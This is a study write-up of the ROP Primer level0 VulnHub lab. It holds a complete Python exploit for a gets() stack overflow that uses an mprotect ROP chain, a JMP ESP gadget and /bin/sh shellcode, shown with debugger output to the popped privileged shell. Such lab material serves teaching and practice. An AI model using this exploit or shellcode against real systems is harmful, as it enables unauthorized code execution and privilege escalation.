shellcode_rop

Writing shellcode: https://www.exploit-db.com/papers/13224
Vulnerable machine: https://www.vulnhub.com/entry/rop-primer-02,114/
Blogs which i learned from: https://g0blin.co.uk/rop-primer-0-2-vulnhub-writeup/

ROP Primer

An introduction to return-oriented-programming.

Blog About

JAN 20TH, 2015 10:33 PM

Level0

Warmup exercise – get started!

Login via `ssh` with username `level0` and password `warmup`.

As a warmup exercise, can you exploit the following code:

```
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv, char **argp)
```

```c
int main(int argc, char **argv, char **argp)
{
  char name[32];
  printf("[+] ROP tutorial level0\n");
  printf("[+] What's your name? ");
  gets(name);
  printf("[+] Bet you can't ROP me, %s!\n", name);
  return 0;
}
```

The objective is to spawn a shell, locally. You can use `ret2libc` if you want, or the `mprotect/read shellcode` strategy (or any other of your liking =)).

The binary has been compiled on a 32-bit Kali VM and was statically linked. NX should be enabled, ASLR is disabled.

Before working on ROP, we proceed to test shellcode with this:

```
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x18\x5b\x31\xc0\x88\x43\x07\x89\x
5b\x08\x89\x43\x0c\x31\xc0\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff\xff\
xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59\x59";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();
}
```

What is essentially done is we taking the shellcode and testing it in this C code
Why there is a need for -z execstack is because if that flag isn't present the executable will crash due to the fact that the machine cant execute code from memory due to memory having NX active.

```
level0@rop:~$ gcc -zexecstack test.c -o test
level0@rop:~$ ls -lah | grep test
-rwxrwxr-x 1 level0 level0 7.2K Dec 18 14:55 exit_test
-rwxrwxr-x 1 level0 level0 7.3K Dec 19 13:38 test
-rw-rw-r-- 1 level0 level0  403 Dec 19 13:38 test.c
level0@rop:~$
```

If the stack is active, it will be displayed as RED with rwxp

```
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x08049000 r-xp      /home/level0/test
0x08049000 0x0804a000 r-xp      /home/level0/test
0x0804a000 0x0804b000 rwxp      /home/level0/test
0xb7e24000 0xb7e25000 rwxp      mapped
0xb7e25000 0xb7fce000 r-xp      /lib/i386-linux-gnu/libc-2.19.so
0xb7fce000 0xb7fd0000 r-xp      /lib/i386-linux-gnu/libc-2.19.so
0xb7fd0000 0xb7fd1000 rwxp      /lib/i386-linux-gnu/libc-2.19.so
0xb7fd1000 0xb7fd4000 rwxp      mapped
0xb7fdb000 0xb7fdd000 rwxp      mapped
0xb7fdd000 0xb7fde000 r-xp      [vdso]
0xb7fde000 0xb7ffe000 r-xp      /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 r-xp      /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 rwxp      /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 rwxp      [stack]
gdb-peda$
```

When we execute test, it pops a shell, now that our shellcode is sorted we can proceed to exploit the vulnerable program

```
level0@rop:~$ ./test
Shellcode Length:  58
$
```

Checking the program, it has NX enabled and it means that the stack area of the memory is non-executable

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$
```

Setting the breakpoint when the program starts, lets inspect the memory mappings when we run the program

```
gdb-peda$ br main
Breakpoint 1 at 0x8048257
gdb-peda$
```

```
gdb-peda$ r
Starting program: /home/level0/level0
```

Stack is only read and write as evidenced by rw-p

```
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /home/level0/level0
0x080ca000 0x080cb000 rw-p      /home/level0/level0
0x080cb000 0x080ef000 rw-p      [heap]
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xc0000000 rw-p      [stack]
gdb-peda$
```

Lets crash the program and see what happens

Generating predictable string so we can know the offset, offset is just located 4 bytes before the register EIP

```
gdb-peda$ pattern_create 128
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA'
gdb-peda$
```

```
gdb-peda$ c
Continuing.
[+] ROP tutorial level0
[+] What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA
```

Program crashed because when we overwrite EIP with random values, program doesn't know where to return to

```
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$
```

Lets find where in the stack this 0x41414641 is

```
gdb-peda$ find 0x41414641
Searching for '0x41414641' in: None ranges
```

```
[stack] : 0xbffff6ec ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
gdb-peda$
```

0x41414641 is just before the ESP register,

```
gdb-peda$ x/4wx 0xbffff6ec
0xbffff6ec:     0x41414641      0x31414162      0x41474141      0x41416341
gdb-peda$
```

```
gdb-peda$ x/wx $esp
0xbffff6f0:     0x31414162
gdb-peda$ x/2wx $esp -4
0xbffff6ec:     0x41414641      0x31414162
gdb-peda$ 
```

So we have overwritten the EIP with 0x41414641, but thing is we need to know the offset which is how long we have to write with random values before we overwrite EIP with our `custom values`

```
gdb-peda$ pattern_offset 0x41414641
1094796865 found at offset: 44
gdb-peda$ 
```

Lets create a custom python file so we can actually put all of this into action

```
#!/usr/bin/python
import struct # Using to convert hex to a packed binary format

def conv(hexAddr):
        # Takes the hex form, convert it to a packed binary value,
        # and returns it to the calling function
        return struct.pack("<I",hexAddr)

offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control_eip = conv(0xdeadbeef) # Custom values to overwrite EIP with

bof = junk
bof += control_eip

# This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)

print bof # Prints our value to the console
```

We run the exploit so we can create a text file to be used in the debugger later

```
level0@rop:~$ python tut.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
level0@rop:~$ cat exploit.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��level0@rop:~$
```

This is proof that we have control of the values in the EIP and it means that we can manipulate the program to redirect code execution

```
gdb-peda$ r < exploit.txt
```

```
Starting program: /home/level0/level0 < exploit.txt
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA�!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff69c --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>:      push   ebp)
EDI: 0xa0d0a501
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6f0 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xbffff6f0 --> 0x0
0004| 0xbffff6f4 --> 0xbffff784 --> 0xbffff8af ("/home/level0/level0")
0008| 0xbffff6f8 --> 0xbffff78c --> 0xbffff8c3 ("XDG_SESSION_ID=1")
0012| 0xbffff6fc --> 0x0
0016| 0xbffff700 --> 0x0
0020| 0xbffff704 --> 0x0
0024| 0xbffff708 --> 0x0
0028| 0xbffff70c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()
```

To disable NX we need to search for this mprotect function

https://failingsilently.wordpress.com/2017/12/17/rop-exploit-mprotect-and-shellcode/

> mprotect() is a function which sets the access rights to an area of memory, it takes 3 arguments; a starting address, a length, and a mask which contains the new permissions for that area of memory. The big caveat is that the starting address **must be the start of a memory page**. You can get the values for the mask from the source. We can call mprotect() via syscall, setting the arguments as follows;
>
> EAX – 0x7B – sys_mprotect syscall number
> EBX – Address of Memory to change (Must align to page boundary)
> ECX- Length of memory to change
> EDX – Mask of new permissions (READ|WRITE|EXECUTE is **0x07**)

Confirming what previous author said in: https://syscalls.kernelgrok.com/
This is useful for ROP without return to libc but at the moment what we need to know is
EBX - First parameter
ECX - Second parameter
EDX - Third parameter

#	Name	Registers			
		eax	ebx	ecx	edx
125	**sys_mprotect**	0x7d	unsigned long start	size_t len	unsigned long prot

To get the parameters, we run info proc mappings command

```
gdb-peda$ info proc mappings
process 1418
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x80ca000    0x82000        0x0 /home/level0/level0
         0x80ca000  0x80cb000     0x1000    0x81000 /home/level0/level0
         0x80cb000  0x80ef000    0x24000        0x0 [heap]
        0xb7ffd000 0xb7fff000     0x2000        0x0
        0xb7fff000 0xb8000000     0x1000        0x0 [vdso]
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
```

First parameter: 0xbffdf000 -> Start Address of stack
Second paramter: 0x21000 -> Size
Third parameter: 0x7 -> Read(4),Write(2),Execute(1), 4 + 2 + 1 = 7

To get the address of mprotect(), we need to run this command in bash
mprotect() address: 0x080523e0

```
level0@rop:~$ readelf -s ./level0 | grep mprotect | grep -v GLOBAL
  1981: 080523e0    33 FUNC    WEAK   DEFAULT    4 mprotect
level0@rop:~$ 
```

So right now we need to plug the address of mprotect(), first parameter, second parameter and third parameter to our code
After plugging in the value we need to intergrate it with our code so that when the program crashed at 0xdeadbeef earlier, we can determine that the stack is indeed executable.
Do note the placement of control_eip variable.

```
offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control_eip = conv(0xdeadbeef) # Custom values to overwrite EIP with

mprotect_addr = conv(0x80523e0) # Address of the mprotect()
mprotect_first_param = conv(0xbffdf000) # Start of stack address
mprotect_second_param = conv(0x21000) # Size of the stack
mprotect_third_param = conv(0x7) # Read,Write and Execute

# ROP to disable mprotect
disable_mprotect = mprotect_addr
disable_mprotect += control_eip # The address of to return to after executing mprotect()
disable_mprotect += mprotect_first_param
disable_mprotect += mprotect_second_param
disable_mprotect += mprotect_third_param

bof = junk
bof += disable_mprotect

# This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)
```

Running our exploit code to generate the text file to be used in the debugger later

```
level0@rop:~$ ./tut.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������
level0@rop:~$
```

Ran the exploit in the debugger and it crashed

```
gdb-peda$ r < exploit.txt
```

```
Starting program: /home/level0/level0 < exploit.txt
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAA
AAAAAAAAAAAAAAAAAA���!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers--------
----]
EAX: 0x0
EBX: 0x0
ECX: 0x21000
EDX: 0x7
ESI: 0x80488e0 (<__libc_csu_fini>:      push   ebp)
EDI: 0xde67063
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6f4 --> 0xbffdf000 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap
rflow)
[-------------------------------------code----------
----]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack----------
----]
0000| 0xbffff6f4 --> 0xbffdf000 --> 0x0
0004| 0xbffff6f8 --> 0x21000
0008| 0xbffff6fc --> 0x7
0012| 0xbffff700 --> 0x0
0016| 0xbffff704 --> 0x0
0020| 0xbffff708 --> 0x0
0024| 0xbffff70c --> 0x0
0028| 0xbffff710 --> 0x0
[---------------------------------------------------
```

```
----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()
```

The interesting this is, the moment it crashed, the stack is executable!
And this means we can execute our shellcode!

```
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /home/level0/level0
0x080ca000 0x080cb000 rw-p      /home/level0/level0
0x080cb000 0x080ef000 rw-p      [heap]
0xb7ffd000 0xb7fff000 rw-p      mapped
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xbffdf000 rw-p      mapped
0xbffdf000 0xc0000000 rwxp      [stack]
gdb-peda$
```

We can't just plug our shellcode right away, instead we need to change the value of variable control_eip from 0xdeadbeef to pop, pop, pop, ret to clean the stack. It doesn't matter what register we need to pop, the important thing is to get 3 mprotect() parameters off the stack so we can execute our shellcode
pppRET = 0x8048882

```
level0@rop:~$ objdump -M intel -d ./level0 | less
```

```
/ret
```

```
8048882:       5e                    pop    esi
8048883:       5f                    pop    edi
8048884:       5d                    pop    ebp
8048885:       c3                    ret
```

Putting what we said into action, the reason we put 0xbadf00d after disable_mprotect() ROP is to confirm that
1. Parameter cleaning is successful
2. We still had control over the EIP value

```
def conv(hexAddr):
```

```
def conv(hexAddr):
        # Takes the hex form, convert it to a packed binary value,
        # and returns it to the calling function
        return struct.pack("<I",hexAddr)

offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control_eip = conv(0x8048882) # Custom values to overwrite EIP with

mprotect_addr = conv(0x80523e0) # Address of the mprotect()
mprotect_first_param = conv(0xbffdf000) # Start of stack address
mprotect_second_param = conv(0x21000) # Size of the stack
mprotect_third_param = conv(0x7) # Read,Write and Execute

# ROP to disable mprotect
disable_mprotect = mprotect_addr
disable_mprotect += control_eip # The address of to return to after executing mprotect()
disable_mprotect += mprotect_first_param
disable_mprotect += mprotect_second_param
disable_mprotect += mprotect_third_param

control_eip = conv(0xbadf00d) # This is to confirm that parameter cleaning is a success.

bof = junk
bof += disable_mprotect
bof += control_eip

# This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)

print bof # Prints our value to the console
```

Now stack is disabled and we still control the EIP value
Its good that we still have the control over program flow, as for now, we actually need to put a custom value to one of the register and that the value is 0xbadf00d

```
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /home/level0/level0
0x080ca000 0x080cb000 rw-p      /home/level0/level0
0x080cb000 0x080ef000 rw-p      [heap]
0xb7ffd000 0xb7fff000 rw-p      mapped
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xbffdf000 rw-p      mapped
0xbffdf000 0xc0000000 rwxp      [stack]
gdb-peda$
```

```
gdb-peda$ r < exploit.txt
Starting program: /home/level0/level0 < exploit.txt
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA��!

Program received signal SIGSEGV, Segmentation fault.
```

```
Stopped reason: SIGSEGV
0x0badf00d in ?? ()
```

Putting our theory to action we will overwrite ESP with 0xbadf00d

```
#!/usr/bin/python
import struct # Using to convert hex to a packed binary format

def conv(hexAddr):
        # Takes the hex form, convert it to a packed binary value,
        # and returns it to the calling function
        return struct.pack("<I",hexAddr)
```

```
offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control_eip = conv(0x8048882) # Custom values to overwrite EIP with
jmp_esp = conv(0x80c4d43) #
ret = conv(0x8048106)

mprotect_addr = conv(0x80523e0) # Address of the mprotect()
mprotect_first_param = conv(0xbffdf000) # Start of stack address
mprotect_second_param = conv(0x21000) # Size of the stack
mprotect_third_param = conv(0x7) # Read,Write and Execute

clean_stack = control_eip

# ROP to disable mprotect
disable_mprotect = mprotect_addr
disable_mprotect += clean_stack # Clean stack after executing mprotect()
disable_mprotect += mprotect_first_param
disable_mprotect += mprotect_second_param
disable_mprotect += mprotect_third_param

bof = junk # All the A's to offset
bof += disable_mprotect # Disable mprotect() / enable RWX on stack
bof += conv(0xdeadbeef) # Value of EIP
bof += conv(0xbadf00d) # Value of ESP so we can do a JMP ESP

# This file is going to be useful later to test and debug exploit
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)

print bof # Prints our value to the console
```

Running exploit in debugger

```
gdb-peda$ r < exploit.txt
Starting program: /home/level0/level0 < exploit.txt
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA��!
```

Now we have control of values in EIP as well as ESP

```
ESP: 0xbffff704 --> 0xbadf00d
EIP: 0xdeadbeef
```

https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/

> What we need to do now is find the opcode equivalent of JMP ESP. We are using JMP ESP because our EIP will point to the JMP ESP location, which will jump to our malicious shellcode that we will inject later. Finding the opcode equivalent means we are converting assembly language into hexcode. There is a tool to do this called nasm_shell.
>
> Locate nasm_shell on your Kali machine and run it. Then, type in JMP ESP and hit enter. Your results should look like mine:

```
root@kali:~# locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm >
```

Confirming what the author said above

```
root@kali:/tmp# locate nasm_shell
/usr/bin/msf-nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
root@kali:/tmp# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm >
```

Finding JMP ESP in vulnerable binary

```
level0@rop:~$ objdump -M intel -D ./level0 | grep 'ff e4'
 80c4d43:       ff e4                   jmp    esp
level0@rop:~$
```

Lets put our theory in action!

Earlier we had a c program that test our shellcode and so we just need to copy over the hex values located between ""

```
level0@rop:~$ cat test.c
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x18\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x8
9\x43\x0c\x31\xc0\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6
e\x2f\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59\x59";
```

Final exploit code!

```
#!/usr/bin/python
import struct # Using to convert hex to a packed binary format

def conv(hexAddr):
```

```
        # Takes the hex form, convert it to a packed binary value,
        # and returns it to the calling function
        return struct.pack("<I",hexAddr)

offset = 44 # The point right before the program crashed
junk = "A" * offset # To fill the stack with junk and stop right before EIP
control_eip = conv(0x8048882) # Custom values to overwrite EIP with
jmp_esp = conv(0x80c4d43) # For jumping to our shellcode

mprotect_addr = conv(0x80523e0) # Address of the mprotect()
mprotect_first_param = conv(0xbffdf000) # Start of stack address
mprotect_second_param = conv(0x21000) # Size of the stack
mprotect_third_param = conv(0x7) # Read,Write and Execute

clean_stack = control_eip # POP POP POP RET

# ROP to disable mprotect
disable_mprotect = mprotect_addr
disable_mprotect += clean_stack # Clean stack after executing mprotect()
disable_mprotect += mprotect_first_param
disable_mprotect += mprotect_second_param
disable_mprotect += mprotect_third_param

shellcode = "\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x18\x5b\x31\xc0\x88\x43\x07
\x89\x5b\x08\x89\x43\x0c\x31\xc0\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff\xff\
xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59\x59"

bof = junk # All the A's to offset
bof += disable_mprotect # Disable mprotect() / enable RWX on stack
bof += jmp_esp # JMP to shellcode below
bof += shellcode # /bin/sh to be executed

# This file is going to be useful later to test and debug exploit
```

```
filename = "exploit.txt" # Filename we are going to save our exploit to
with open(filename, 'w') as f:
        f.write(bof)

print bof # Prints our value to the console
```

Confirmed that code redirection to shell is successful in debugger

```
gdb-peda$ r < exploit.txt
Starting program: /home/level0/level0 < exploit.txt
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA��!
process 1800 is executing new program: /bin/dash
[Inferior 1 (process 1800) exited normally]
Warning: not running or target is remote
gdb-peda$
```

Remember to keep pipe open in cat, else the newly popped shell will close automatically

```
level0@rop:~$ (cat exploit.txt ; cat) | ./level0
[+] ROP tutorial level0

[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA��!
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(l
evel0)
```